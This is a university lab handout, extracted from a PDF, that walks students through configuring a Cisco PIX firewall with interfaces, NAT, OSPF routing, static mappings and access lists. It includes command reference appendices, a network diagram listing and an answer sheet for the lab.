. Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
Mode PromptUnprivileged mode pixfirewall>Privileged mode pixfirewall#
Configuration mode pixfirewall(config)#Monitor mode monitor>
53
The security level designates whether an interface is inside (trusted) or outside (untrusted) relative to another interface. An interface is considered inside in relation to another interface if its security level is higher than the other interface's security level and is considered outside in relation to another interface if its security level is lower than the other interface's security level. The primary rule for security levels is this:
Once the PIX is configured with the six basic commands, data may enter the PIX through an interface with a higher security level, pass through the PIX, and exit via an interface with a lower security level. Conversely, data that enters an interface with a lower security level cannot pass through the PIX and exit via an interface with a higher security level without a conduit or an access list (which is discussed later).
Security levels range from 0 to 100, and the following are more specific rules for these security levels:
Security level l00 – This is the highest security level for an interface. It is used for the inside interface of the PIX Firewall. This is the default setting for the PIX Firewall and cannot be changed. Because 100 is the most trusted interface security level, the organization's network should be set up behind that interface.
Security level 0 – This is the lowest security level. This security level is used for the outside interface of the PIX Firewall. This is the default setting for the PIX Firewall and cannot be changed. Because 0 is the least trusted interface security level, the most untrusted network should be behind this interface.
Security levels 1-99 – These security levels can be assigned to the perimeter interfaces connected to the PIX Firewall. It is common to connect one of these perimeter interfaces to a network that acts as a demilitarized zone (DMZ). A DMZ is a device or network that is (usually) accessible to users from the untrusted environment. The DMZ is an isolated area, separate from the internal, trusted environment. Figure 3-2 is an example of a three-interface PIX Firewall.
Figure 3-2 – PIX Security levels.
PIX interface
54
The basic commands to be used in the PIX command interface are shown in Appendix A. Go over these commands at this time and keep them in mind when you are doing the lab exercises. You will need most of them at that time. For example, the enable command will be used to get started with the firewall. It provides entrance to the privileged access modes. The configure terminal command is used to move from the privileged mode to the configuration mode. The command prompt in the mode is (config)# .You can also use the hostname command to change the hostname label on the prompts (e.g. hostname newname ). Now let’s try to configure the firewall for the network setup in the lab.
Network setup
You will need to understand the structure of the Mini-net in the lab, to complete this lab. The diagram describing the Mini-net should be attached to the lab handout. There are six autonomous systems – 4 Tier 2 systems and 2 Tier 1 systems. The firewall is located in the Enterprise – Cisco system. It is marked as the “Edge-fwall” in the diagram. You should be able to figure out the network and host address of the routers and interfaces from the diagram. If you’re having trouble reading the diagram, you can ask a TA for help.
For security reasons, the network is configured such that you cannot access the firewall interface from the mini-net in the lab. To access the firewall, you’ll have to use the ECE computers on the right side of the lab. These computers need an ECE UNIX account. If you don’t have one, go to the UA station in Rm 310, across the corridor, and ask for an UNIX account. It shouldn’t take long for the UA to set it up. In addition to this machine, you will need access to the R2 terminal, to test the firewall from the inside network. You will also need to access the terminal machine to test the firewall from the outside network.NOTE: It is important that you access the firewall only during your reserved slot. Accessing the firewall, while some other group is doing their lab, will mess up the configuration and both of you will have to start over.
Connection to the Firewall
On your host machine, use the following command:
ifconfig eth0:0 192.168.254.x where x is the last octet of the first ip address you were assigned.
Now ssh into the playstation1 setup using the following command:
The password is “playstation1”Once you enter the password, you’ll see a port access menu. This menu lists all the ports the console manager is connected to. The port for firewall is 12. So press 12 and then Enter. Press Enter a couple of times and you’ll see the prompt for the Cisco firewall.
Initial Configuration
55
We’ll be starting from scratch so let’s first reset the firewall and put it back into its original factory settings. The current configuration is stored in the flash memory. The write erase command erases this configuration in the memory. Next, you have to type the reload command. Since there is no configuration in memory, the firewall reverts to its original settings. Initially you’ll see the hostname set by the previous group, and the “>” prompt. In the commands given below, the “>” and the “#” sign refer to the prompts. Type them in to configure the firewall.
Step 1To enter the privileged mode, type> enable
Password: <Press ENTER> The prompt changes to #
Enter the following commands in front of the TA.
# write eraseErase PIX configuration in flash memory? [confirm]: <Press ENTER># reloadProceed with reload? [confirm] : <Press ENTER>
The firewall will reboot. Once it reboots, you’ll see the following question,
Pre-configure PIX Firewall now through interactive prompts [yes]? <Type no and ENTER>
Now you’ll see the default firewall prompt
pixfirewall>
Have the TA sign the answer sheet in section 3.
You’ll be typing all the commands at this prompt now. Go over the configuration commands given in Appendix B at this time. You’ll be using them in this section.
Step 2Now, type in the commands given below.
pixfirewall> enablePassword: <ENTER>pixfirewall#
pixfirewall# configure terminal Can also type config t as a for short.pixfirewall(config)# hostname pixGxx where xx is your group number, so
pixG10 for group 10. This is just for convention.
So for group 10, the prompt will now change to
pixG10(config)#
Step 3
56
In this step, we will use the nameif command to configure interface 2 as the dmz interface. Remember, interface 0 is defined as outside by default and interface 1 is inside by default. Go over the nameif command in appendix B to know how to use it.
Now type the following
pixGxx(config)# nameif e2 dmz security50pixGxx(config)# show nameif
nameif ethernet0 outside security0nameif ethernet1 inside security100nameif ethernet2 dmz security50
Step 4
The interfaces will be enabled in this step to bring them up. They will be set for auto sensing 10/100 communications. Use the show interface command to display information about the interfaces.
pixGxx(config)# interface e0 autopixGxx(config)# interface e1 autopixGxx(config)# interface e2 auto
pixGxx(config)# show interface
There will be configuration information printed out about each interface. The important things to note here is the first line about each interface.
interface ethernet0 “outside” is up, line protocol is upinterface ethernet1 “inside” is up, line protocol is upinterface ethernet2 “dmz” is up, line protocol is up
Step 5
It’s time now to assign IP address to the three interfaces. If you look closely at the firewall in the Mini-net diagram, you’ll see the IP address for the three interfaces.
57
Edge-fwallCisco PIX-515E
Edge1-rtrCisco 1760-K9
Web ServerRedhat Apache
212.43.0.0/24:100
172.16.2.0/24:102
192.168.0.0/24:101
.1
.4
.1
.10
.1
.254#7
12
R1Enterprise-dns
Dell Poweredge
.3S2
OSPF 0
Virtual IPAddresses
Web ServerRedhat Apache
172.16.2.99
R2
DMZ
INSIDE
Outside
Figure 3-3 – Close-up of the firewall in the Mini-net diagram. Note the addresses for the three interfaces.
Now assign these addresses to the interfaces using the following commands.
pixGxx(config)# ip address outside <IP ADDRESS> 255.255.255.0pixGxx(config)# ip address inside <IP ADDRESS> 255.255.255.0pixGxx(config)# ip address dmz <IP ADDRESS> 255.255.255.0
List the addresses that you assigned to the interfaces, below.
Check to make sure you assigned the right address by using the following command.
pixGxx(config)# show ip address
58
It’ll list the current IP addresses for the three interfaces.
Step 6
If everything looked fine in the last step, you should save the configuration into the flash memory. You won’t have to do this part again for the rest of the lab.
pixGxx(config)# write memoryBuilding configuration…Cryptochecksum: 7af5c680 748b5ada 2eee0daa ab8fd68f[OK]
pixGxx(config)#
At this point you have correctly setup the network. There are some concepts and commands that have to be explained before you can proceed further.
Network Address Translation
Network Address Translation (NAT) enables the user to keep internal IP addresses (those behind the PIX Firewall) unknown to external networks. NAT accomplishes this by translating the internal, unregistered IP addresses, which are not globally unique, into registered, globally accepted IP addresses before packets are forwarded to the external network. NAT is implemented in the PIX Firewall with the nat and global commands.
When an outbound IP packet that is sent from a device on the inside network reaches the PIX Firewall, the source address is extracted and compared to an internal table of existing translations. If the device’s address is not already in the table, it is then translated. A new entry is created for that device and it is assigned a global IP address from a pool of global IP addresses. This global pool can be configured with the global command. After this translation occurs, the table is updated and the translated IP packet is forwarded. After a user-configurable timeout period ( or the default of 3 hours), during which there have been no translated packets for that particular IP address, the entry is removed from the table and the global address is freed from use by another inside device.
The global is used to assign a registered or public IP address to an internal host when accessing the outside network through the firewall. It can also be used to assign a pool of global IP addresses. The basic syntax of the command is given below. A more complete description can be found in Appendix B. Go over it once you’ve read this section to understand the command properly.
global [(if_name)] nat_id {global_ip [-global_ip] [netmask global_mask]}
Here, the nat_id is used to identify the particular pool of global IP addresses that are assigned. This nat_id should correspond to the nat_id used in the nat command, shown below.
59
The nat command can specify translation for a single host or a range of hosts. The basic syntax of the command is given below. A more complete description can be found in Appendix B. Go over it once you’ve read this section to understand the command properly.
nat [(if_name)] nat_id address [netmask]
The nat_id in this command should be the same as the one defined in the global command.
As shown in the example, below, you can also enable translation for all inside hosts making outbound connections with the nat 1 0.0.0.0 0.0.0.0 command. This can be shortened to nat 1 0 0.
Example: pixGxx(config)# nat (inside) 1 0.0.0.0 0.0.0.0
This command translates all the internal IP addresses into the global pool of addresses with nat_id 1 (defined in the global command).
The route command can be used to setup a default route for packets going through the firewall. So, packets going to the outside interface can be set to go through a default router on the outside. The IP address of one of the PIX Firewall’s interfaces can also be used as a gateway router. So, for the internal network, the address of the inside interface can be set as the default gateway. In the lab, we use the OSPF protocol to configure the routers. Therefore, we will use the router command to have the firewall advertise its interface as the default gateway. It will configure the firewall interfaces to act like routers using the OSPF protocol.
Now that you’ve had an overview of the configuration commands to be used, let’s go ahead and configure the firewall further.
Configure Global Addresses, NAT, and Routing for Inside and Outside Interfaces
Follow the steps below to configure the firewall.
Step 7Assign a pool of registered IP address for use by the outbound connections. If you look at the Mini-net diagram, you can see that these addresses will be in the network 212.43.0.0/24. Let’s choose the range 212.43.0.100 – 212.43.0.199. The nat ID is 1. On the dmz the global IP range is 192.168.0.200-192.168.0.250. The nat ID is again 1. Because both the dmz and outside use a nat ID of 1, the internal IP’s can be translated to those in either global pool.
pixGxx(config)# global (outside) 1 212.43.0.100–212.43.0.199 netmask 255.255.255.0pixGxx(config)# global (dmz) 1 192.168.0.200-192.168.0.250 netmask 255.255.255.0pixGxx(config)# show globalglobal (outside) 1 212.43.0.100–212.43.0.199 netmask 255.255.255.0global (dmz) 1 192.168.0.200-192.168.0.250 netmask 255.255.255.0
60
Step 8Let’s assign these pools of addresses to a nat for internal addresses.
pixGxx(config)# nat (inside) 1 0 0
This will allow all inside hosts to use NAT for outside and dmz access.Display this configuration with
pixGxx(config)# show natnat (inside) 1 0.0.0.0 0.0.0.0 0 0
Make sure that the nat ID, in the global and nat commands, matches. That allows you to have multiple nat pools. So, nat pool 1 could be used for hosts from subnet A, and nat pool 2 could be used for hosts from subnet B.
Step 9In order to direct traffic to other networks, you need to configure the router functionality.
pixGxx(config)# router ospf 1pixGxx(config-router)# network 212.43.0.0 255.255.255.0 area 0pixGxx(config-router)# log-adj-changespixGxx(config-router)# exitpixGxx(config)# router ospf 2pixGxx(config-router)# network 172.16.2.0 255.255.255.0 area 0pixGxx(config-router)# log-adj-changes pixGxx(config-router)# default-information originate alwayspixGxx(config-router)# exitpixGxx(config)# show router router ospf 1 network 212.43.0.0 255.255.255.0 area 0 log-adj-changesrouter ospf 2 network 172.16.2.0 255.255.255.0 area 0 log-adj-changes default-information originate alwayspixGxx(config)#
These commands configured the firewall to act as an OSPF based router for the inside and outside interfaces.
Step 10
Now let’s save the configuration to memory.
pixGxx(config)# write memory
At this time you can check that you entered the right command by typing
61
pixGxx(config)# show history
You can also check the current configuration by typing
pixGxx(config)# write terminal
This will show you complete configuration in memory. It will have a lot of additional settings that you can look at.
Step 11
First check that you have proper connectivity by pinging each of the interfaces of the firewall from the firewall.
pixGxx(config)# ping <INSIDE INTERFACE IP>pixGxx(config)# ping <OUTSIDE INTERFACE IP>pixGxx(config)# ping <DMZ INTERFACE IP>
Q3.1. Can you ping each of these?
Now, ping hosts in the inside, dmz and outside domains. A machine called R2 has been setup on the inside network. It can be seen on the Mini-net diagram. The address for this machine is 172.16.2.99. The IP for the web server in the dmz zone can be seen from the Mini-net diagram. For the outside zone, you can choose any of the routers. Can you ping each of these?
Now type the command below. The meaning of this command will be explained in the next section.
pixGxx(config) # access-list DMZ permit icmp any anypixGxx(config) # access-group DMZ in interface dmz
It’s time to check your configuration to see if allows access from the inside.You can access the R2 machine by using the server terminal in the server rack. R2 machine is located on switch number 2 on the KVM machine behind the terminal screen. Answer the following questions as you perform the tests.
Q3.2. Can you ping the address of the server (192.168.0.10) ?
Start the web browser and see if you can access the web server in the dmz zone. Type in the IP address of the server as http://192.168.0.10 . Can you see the default web site? This is the same as telneting to port 80 of this machine.
Go back to the firewall terminal and typepixGxx(config)# show xlate
Q3.3. What does this command show? What does it mean?
62
Now check if you can access hosts on the outside interface. Using the mini-net network diagram as a guide, ping one of the edge routers on the 212.43.0.0/16 network (for example, you can ping 212.43.0.1).
Let’s see if we can access things from the outside. Can you ping the web server (R1) in the dmz zone, from your Red Hat WS 4.0 host machine? Q3.4. Try to access it from a web browser and see if you can do that. You could also telnet to port 80 and check this. Can you do it?Q3.5. Finally, can you ping the R2 terminal machine from the outside?
Q3.6. Describe how the firewall is configured at this point. What type of packets does it allow or disallow and from where? You can draw diagrams to explain this better.
Configuring access to the DMZ zone from Outside
To allow access connections from an interface with a lower security level to an interface with a higher security level, the static and conduit commands can be used.
The static command creates static mapping between an inside IP address (in this case it means behind the firewall – inside interface or dmz interface) and a global IP address. Using the static command enables you to set a permanent global IP address for a particular inside IP address. This creates an entrance for the specified interfaces with the lower security level into the specified interface with a higher security level.
After creating a static mapping between an inside IP address and a global IP address by using the static command, the connection from the outside interface to the dmz or inside interface is still blocked by the PIX Firewall’s Adaptive Security Algorithm (ASA). The conduit command can be used now to allow traffic to flow between the interfaces. This command creates the exceptions to the PIX Firewall’s ASA. However, the conduit command is obsolete in versions 6.2 and later of the PIX software. A better alternative is the access-list command to create Access Control Lists. The only reason conduit is still supported is to maintain backwards compatibility with previous versions of PIX. In this lab, we will use the access-list command along with the access-group command to configure the firewall.
Access Control List
An ACL enables you to determine what traffic will be allowed or denied through the PIX Firewall. It is a list kept by routers and the PIX Firewall to control access to and from the router or firewall (for example, to prevent packets with a certain IP address from leaving a particular interface). ACLs are applied per interface, which means that inbound traffic is analyzed relative to the interface.
63
An ACL can be created with the access-list command. It enables you to specify if an IP address is permitted or denied access to a port or protocol. By default, all access in an access list is denied. You must explicitly permit it.
The format of the access-list command is shown below
access-list acl_IND deny | permit protocol source_addr dource_mask [operator port[port]] destination_addr destination_mask operator port[port]
When specifying the IP address of a host as a source or destination, use the host keyword instead of the network mask 255.255.255.255. For example, use the following ACL entry to permit FTP traffic to host 192.168.1.1:access-list SAMPLEACL permit tcp any host 192.168.1.1 eq ftp
A more detailed explanation of this format is given in Appendix B. You can also consult Cisco web resources listed, to gain more information.
The no access-list command removes an access-list command from the configuration. For example, no access-list SAMPLEACL
The access-group command binds the ACL to a specific interface on the Firewall. The ACL is applied to the traffic inbound on that interface. Only one ACL can be bound to an interface using this command.
The no access-group command unbinds the acl_ID from the interface. For example, no access-group acl_ID in interface interface_name
Now follow the steps given below to allow access to the web server in the DMZ zone.
Step 12
First we have to create a static, permanent mapping of the web server’s address to a global address on the outside interface. This is done using the static command. The format and explanation for this command are given in Appendix B. Further information can be obtained from the Cisco web resources, listed in the lab.
Type in the following:
pixGxx(config)# static (dmz, outside) 212.43.0.x 192.168.0.10
where x is the last octet of the first assigned ip address.
Q3.7.Write the address of the web server, for the outside interface, below.
Now type
64
pixGxx(config)# show staticstatic (dmz,outside) 212.43.0.x 192.168.0.10 netmask 255.255.255.255 0 0
Create an Access Control List
pixGxx(config)# access-list ACLDMZ permit tcp any host 212.43.0.x eq www
Now add commands to permit inbound ICMP echo traffic to the server. All other traffic from outside will be denied by the implicit deny.
pixGxx(config)# access-list ACLDMZ permit icmp any host 212.43.0.x
Let’s bind this ACL to the outside interface.
pixGxx(config)# access-group ACLDMZ in interface outside
Display the access list and observe the hit counts.
pixGxx(config)# show access-list
...access-list cached ACL log flows: total 0, denied 0 (deny-flow-max 1024) alert-interval 300access-list ACLDMZ; 2 elementsaccess-list ACLDMZ line 1 permit tcp any host 212.43.0.x eq www (hitcnt=3) access-list ACLDMZ line 2 permit icmp any host 212.43.0.x (hitcnt=23)
Save your configuration
pixGxx(config)# write memory
Step 13
Check your configuration now by going to the terminal on the outside interface and accessing the address of the web server on the dmz interface that you defined. So if the address that you mapped the server to was 212.43.0.6, type wget http://212.43.0.6. wget does the same thing a web browser does, just without graphically displaying the index.html file. You can also do the same thing by telnet 212.43.0.6 80
Q3.8.Were you able to connect to the server from the outside? Can you ping this server from the outside?
So, that’s it. If you can get access, you were able to configure a Cisco PIX firewall for basic functionality. Again describe the current configuration of the firewall.
Q3.9.What kind of traffic does it allow and from where to where? You can draw diagrams to explain this.
Turn in a printout of the output of the command, given below, with your lab.
65
pixGxx(config)# write terminal
Q3.10. This was very simple network architecture, designed to give you a brief overview of how Cisco PIX Firewalls work. How does the Cisco PIX firewall differ from Linux ipchains capability that we looked at before? By looking on the web, determine which firewall methodology is common in industry and why. Summarize your conclusion here and give references to justify your answer.
66
Appendix 3-A
Commands for maintaining and testing the PIX Firewall.
enable – If the password is known, the enable command allows a user to enter privileged mode. After entering enable, the PIX Firewall will prompt the user for the privileged mode password. To exit and return to the previous mode, use the disable, exit, or quit command. The command to set this password is enable password password. The password is encrypted within the configuration file.
configure terminal – It you want to interactively change the configuration of the PIX, issue the configure terminal command. Any added configuration parameters are merged with the existing running configuration. When making a configuration change to the PIX, the change takes effect immediately and is saved in the running configuration in RAM.
show configure – This displays the configuration that is stored in Flash memory(sometimes called the "startup configuration") on the terminal. Because Flash is non- volatile, the configuration that is stored there is not removed if the PIX loses power or is reloaded. The startup configuration is what the PIX loads to RAM during bootup.
show interface – The show interface command enables users to view information about the interface. Ethernet, Token Ring, and FDDI information is displayed, depending on which is installed on the PIX Firewall. This is one of the first commands to input when trying to establish connectivity.
write terminal – Displays the running configuration (sometimes called the current configuration) on the terminal. This configuration is stored in RAM.
write net – Stores the running configuration file on a TFTP server. It is good practice to keep a backup of all configuration files offline. When a server IF address and a file path are assigned, the running configuration is stored to a specific location.
write erase – This clears the configuration file that is in Flash memory. write memory – Any change that is made to the PIX takes effect immediately. The
change is written to the running configuration in RAM. If a change is meant to be kept on the PIX, it should be saved to Flash memory using the write memory command. The use of this command will replace the existing configuration in Flash with the configuration in RAM. The configuration in RAM remains unchanged. Processing continues during the write memory command, but the write memory command is not disruptive to the processing of the PIX. You cannot make changes to the configuration while the write memory command is executing.
show ip address – The show ip address command enables a user to view which IP addresses have been assigned to the network interfaces. In the displayed output, the current IP addresses are the same as the system IP addresses on the failover active unit.
67
Appendix 3-B
Basic configuration commands of the PIX interface
nameif CommandThe command nameif assigns a name to each interface on the PIX Firewall and specifies its security level (except for the inside and outside PIX Firewall interfaces, which are named by default).
NOTE – With the default configuration, Ethernet0 is named “outside” with a security level of 0 and Ethernetl is named “inside” and is assigned a security level of 100.
nameif hardware_id if_name security_level
hardware_id: Specifies a perimeter interface and its physical location on the PIX Firewall.if-name: Assigns a name to the physical perimeter interface. This name is assigned by the you, and must be used in all future configuration references to the perimeter interface. By default, el is the "inside" and e0 is the "outside." security_level Indicates the security level for the perimeter interface. Enter a security level of 1-99.
interface. CommandThe interface command identifies the type of hardware, sets the hardware speed, and enables the interface. When an additional Ethernet interface card is installed on the PIX Firewall, the PIX Firewall automatically recognizes the additional card.
interface hardware_id [hardware_speed] [shutdown]
[] indicates optional commands
hardware_id Specifies an interface and its physical location on the PIX Firewall. This is the same variable that was used with the nameif command. hardware_speed Determines the connection speed. Enter auto so the PIX Firewall can sense the speed needed for the device. shutdown Administratively shuts down the interface.
ip address CommandEach interface on the PIX Firewall must be configured with an IP address. After configuring the IP address and netmask, it is common to use the show ip command to view which addresses are assigned to the network interfaces. If a mistake is found, reenter the command with the correct information.
ip address if_name ip_address [netmask]
. Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
68
if-name Describes the interface. This name is assigned by the user and must be used in all future configuration references to the interface.ip_address The assigned IF address of the interface.netmask If a network mask is not specified, the classful network mask isassumed:Class A: 255.0.0.0Class B: 255.255.0.0Class C: 255.255.255.0
nat CommandNetwork Address Translation (NAT) enables the user to keep internal IP addresses (those behind the PIX Firewall) unknown to external networks. As an example, when connecting to the Internet or other foreign network, the nat command accomplishes this by translating the internal, unregistered IP addresses, which do not have to be globally unique, into registered, globally accepted IP addresses before packets are forwarded to the external network. With the exception of nat 0, the nat command is always used with the global command.
nat (if_name)nat_id local_ip [netmaskl
(if-name) Describes the internal network interface name that will use global addresses. Data will exit the PIX through the interface specified in the global command.nat_id Identifies the global pool and matches it with its respective global command.local_ip The IP address(es) assigned to the devices on the inside network. 0.0.0.0 may be used to allow all outbound connections to translate with IP addresses from the global pool.netmask Network mask for the local IP address.
When initially configuring the PIX Firewall, all inside hosts can be enabled to access outbound connections with the nat 1 0.0.0.0 0.0.0.0 command. The nat 1 0.0.0.0 0.0.0.0 command enables NAT and lets all inside hosts (specified as 0.0.0.0) access connections that are bound to the corresponding global command. The nat command can specify a single or range of hosts to make access more selective. When configuring, 0 can be used in place of 0.0.0.0.
global CommandWhen sending data from a trusted network to an untrusted network, the source IP address is often translated. The PIX can do this with two commands. The first command is nat, which defines the trusted source addresses to be translated. The command that is used to define the address or range of addresses that the source address will become is the global command.
global [(if_name)] nat_id {global_ip [-global_ip] [netmask global_mask]}
if-name Describes the external network interface name where you will use the global addresses.
69
nat _id Identifies the global pool and matches it with its respective nat command. interface Have the PIX translate alllP addresses specified by the nat command to the interface specified. global_ip Single IP addresses or the beginning IP address for a range of globallP addresses.-global_ip A range of globallP addresses.netmask global The network mask for the globallP. If subnetting is in effect, use the subnet mask.
When an outbound IP packet that is sent from a device on the inside network reaches the PIX Firewall, the source address is extracted and compared to an internal table of existing translations. If the device's address is not already in the table, it is then translated. A new entry is created for that device and it is assigned a global IP address from a pool of globalIP addresses. This is called a translation slot. After this translation occurs, the table is updated and the translated IP packet is forwarded.
Figure 3-B-1 – NAT with PIX
route CommandThe route command defines a static route for an interface. The route statement may have a specific destination, or a default static route may be created.
70
route if_name ip_address netmask gateway_ip
if-name Describes the internal or external network interface name. Data will exitfrom the PIX through this interface.ip_address Describes the destination internal or external network IP address. Use 0.0.0.0 to specify a default route (all destination networks). The 0.0.0.0 IP address can be abbreviated as 0.netmask Specifies a network mask to apply to ip_address. Use 0.0.0.0 to specify a default route. The 0.0.0.0 netmask can be abbreviated as 0. It is common to have one default route.gateway _ip Specifies the IP address of the gateway router (the next-hop address for this route).
static Command
Provides a global IP address on a lower security interface, such as outside, that is mapped to a higher security interface, such as a DMZ server on the DMZ interface.
static (high_interface,low_interface) low_address high_address netmask netmask
high_interface The local or higher security interface
low_interface The global or lower security interface.
low_address The IP address for the machine on the low security interface.
high_address The local IP address for the machine on the high security interface.
netmask The network mask pertains to both low_address and high_address. Use a netmask of 255.255.255.255 when low_address is a host even if subnetting is in place, or specify the correct mask if low_address is a network address
Examplestatic (dmz3,outside) 209.165.201.3 192.168.3.3 netmask 255.255.255.255
Makes up the 209.165.201.3 address on the outside interface that is mapped to the 192.165.201.3 address on the DMZ interface.
access-list CommandThe access-list command lets the outside users access the IP address that you provided for mapping to the internal resource.
Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
71
access-list acl_ID [deny | permit] protocol source_addr source_mask operator port destination_addr destination_mask operator port
acl_ID Name of an access list. You can use either a name or number.
deny When used with the access-group command, the deny option does not allow a packet to traverse the PIX Firewall. By default, PIX Firewall denies all inbound or outbound packets unless you specifically permit access.
permit When used with the access-group command, the permit option selects a packet to traverse the PIX Firewall. By default, PIX Firewall denies all inbound or outbound packets unless you specifically permit access.
protocol It can be one of the keywords icmp, ip, tcp, or udp
source_addr A host or network address for on the lower security level interface, such as outside, that need to access the destinations, which is the global IP address provided in the static command. Use any for the source_address to let any host access the destination_address. If you specify a single host, precede the address with host; for example host 192.168.1.2. If you specify a network address, also specify a network mask; for example, 192.168.1.0 255.255.255.0.
source_netmask Netmask of the source address. Use host address as an abbreviation for a mask of 255.255.255.255.
destination_addr A host or network global address that you specified with the static command statement. This is the global IP address on the lower security interface, in the static command that maps to the higher security address. For a host address, precede the address with host; for networks, specify the network address and the appropriate network mask.
destination_mask Netmask for the destination address.
operator A comparison operand that lets you specify a port or a port range. Use without an operator and port to indicate all ports; for example:
access-list acl_out permit tcp any host 209.165.201.1
A list of other operators is given in Appendix 3-B.
port Services you permit or deny access to. Specify services by the port that handles it, such as smtp for port 25, www for port 80, and so on. You can specify ports by either a literal name or a number in the range of 0 to 65535.
72
After defining an Access list, you need to bind that list to an interface. The access-group command allows you to do that.
access-group Command
The access-group command binds an access list to an interface. The access list is applied to traffic inbound on an interface. If you enter the permit option in an access-list command statement, the PIX Firewall continues to process the packet. If you enter the deny option in an access-list command statement, PIX Firewall discards the packet.
access-group acl_ID in interface interface_name
acl_ID The name associated with a given access list.
in interface Filter on inbound packets at the given interface.
interface_name The name of the network interface from which the packets are to be permitted or denied.
Example:
static (inside,management) 10.1.1.15 10.1.1.15 netmask
255.255.255.255 access-list from-management-coming-in permit tcp host 10.2.2.2
host 10.1.1.15 eq 8888 access-group from-management-coming-in in interface management
Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
73
“BAD ISP”AS 64700
“UNIVERSITY”AS 64900
“ENTERPRISE”AS 64800
“GOOD ISP”AS 64600
GTISC Mini-Net
“TIER 1 - Sigma”AS 64515
“TIER 1 - omega”AS 64514 Omega-rtr
Cisco 2621-XM
Sigma1-rtrCisco 2621-XM
Sigma2-rtrCisco 2621-XM
Badisp-rtrCisco 3550-24-EMI (L3)
StorageRus-rtr1760-K9
Cust2-rtrCisco 1760
Gateway2-rtrCisco 3550-24-EMI (L3)
Admin-rtrCisco 1760-K9
CS2-rtrCisco 1760
CS-rtrCisco 1760
NASDell Network
Attached Storage
P W R
O K
W I C0A C T/ CH 0
A CT /CH 1
W IC 0A C T/ CH0
A CT /CH 1
E T HA CT
CO L
Admin-vpnCisco VPNConc. 3005
Edge-fwallCisco PIX-515E
Edge1-rtrCisco 1760-K9
Edge2-rtrCisco 1760-K9
Gateway-rtrCisco 1760-K9
Accounting-rtrCisco 1760
Engineering-rtrCisco 1760
172.16.7.0/24:107
Goodisp-rtrCisco 3550-24-EMI (L3)
Cust1-site1-rtrCisco 1760-K9+NAT
Cust1-site2-rtrCisco 1760-K9+NAT
Cust1-hq-rtrCisco 1760-K9+NAT
Cust1-intr1-rtrCisco 1760
Cust1-intr2-rtrCisco 1760
Web ServerRedhat Apache
StorageRus WebserverMS IIS
http://www.storagerus.com
Cust1 WebserverRedhat Apache
http://www.cust1.com
CS WebserverRedhat Apache
http://www.cc.university.edu
Admin WebserverMS IIS
http://www.admin.university.edu
University WebserverRedhat Apache
http://www.university.edu
University-dnsDell Poweredge
Root1-dnsDell Poweredge
Badisp-dnsDell Poweredge
Goodisp-dnsDell Poweredge
NETWORK/MASK:VLAN Autonomous System
172.16.5.0/24:105
172.16.4.0/24:104
212.43.0.0/24:100
172.16.2.0/24:102
192.168.0.0/24:101
62.7.245.252/30:308
199.77.32.0/30:300
62.7.200.32/30:309
199.77.33.0/30:303
199.77.31.0/30:301
199.77.250.240/30:302
199.110.254.40/30:307
199.107.254.252/30:304
199.107.12.0/24:305
138.210.251.0/24:200
192.168.110.0/24:209
138.210.237.0/24:207
138.210.238.0/24:208
138.210.235.0/24:205
138.210.236.0/24:206
138.210.232.0/24:202
138.210.233.0/24:203
138.210.234.0/24:204
138.210.231.0/24:201
138.210.240.0/24:210
57.35.0.16/30:252
57.35.10.0/24:260
57.35.5.0/24:258
57.35.4.0/24:257
57.35.3.0/24:256
57.35.0.0/30:253
57.35.7.0/24:250
64.0.1.32/28:151
64.0.1.16/28:152
64.0.2.0/24:153
192.168.10.0/24:161
192.168.20.0/24:162
192.168.10.0/24:163
192.168.20.0/24:164
75.196.18.0/24:160
75.196.17.0/24:159
75.196.15.0/30:157
75.196.14.0/30:156
75.196.10.0/24:155
64.0.1.48/30:150
199.77.30.16/30:306
172.16.8.0/24:108
172.16.6.0/24:106
192.168.30.0/24:154
75.196.16.0/24:158
172.16.3.0/24:103
.1
.2
.4
.1
.10
.2
.1
.1
.1
.1
.1
.2
.2
.1
.1
.2
.254
.2
.253 .1
.241.33
.1
.1
.242 .17
.18
.41
.2
.1 .253
.254
.34
.2
.1
.1
.1
.5
.2
.3
.4
.1
.1.1
.100
.1
.1
.1
.1
.2.42
.1
.254
.151
.1
.1.1
.1.17
.1
.1
.1
.10 .16
.254
.18
.2
.42
.254
.1
.13
.49
.33.17
.50
.1
.99
.1.1 .2
.1.1
.2
.1 .1
.34.18
.1.1
.1
.1
EBGP
EBGP
EBGP
EBGP
EBGP EBGP
EBGP
IBGP
EBGP
RIPOSPF 0
OSPF 0 OSPF 0
OSPF 1
RIP OSPF BGP
#19
#15
#20
#4
#3
#16
#18
#17
#14
#2
#11
#9
#10
#8
#7
#23
#25 #26
#28
#27
#29
#22
12
R5
R4
R3
R1
R9
R6
S2
S3
S2
S2
Printer
.9
… W24W1 ... TA1
S2
CS Ftp ServerRedhat
.43
R7
Enterprise-dnsDell Poweredge
.3S2
OSPF 0
Virtual IPAddresses
Bridge
XP honeypot
Redhat honeypot
138.210.228.0/24:211HUB
Honeynet
Honeynet
S4
S4
S4.1
.11
.10
Viz
S5
57.35.6.0/24:259
.8.5.11 - .200
Web ServerRedhat Apache
172.16.2.99
R2
Turn-in checklistYou need to turn in.
Answer sheet with TA signature in section 3. Printout of the command pixGxx(config)# write terminal Any corrections or additions to the lab.
74
Answer Sheet Lab 7
Group Number: _______________
Member Names: _________________________ _________________________
Q1.1. Write down which ports are open:
Q1.2. What ports do you think should be left open to allow for normal internet traffic? Explain how your answer differs for say a host versus a server.
Q1.3. Write down which ports are open after the firewalls installation:
Q1.4. What happened differently in the results from exercise three as opposed to exercise one? Can you speculate what firewall rules caused this?
Q1.5. Comment on the differences between the first rule:
Q1.6. Uncomment line 29 and restart the firewall. Explain what you saw and why:
75
Q1.7. Record these output in ethereal and comment on what you saw happen:
Q1.8. What did you see ?
Q1.9. Write down three rules that you think might be useful and explain what they do.
Q1.10 Open ethereal and capture a few of the shell packets, what is their format?
Q1.12 Why does the format of the protocol make it specially hard to catch with a firewall?
Q1.13 A common way network administrators check for backdoors running on their system is to do a “netstat -na” Do this on your slave system, do you see an open port for the reverse www shell? Why not?
76
Section 2
Q2.1. List the open ports on the Windows XP machine.
Q2.2. Now that the firewall is configured and activated, list the open ports on the Windows XP machine.
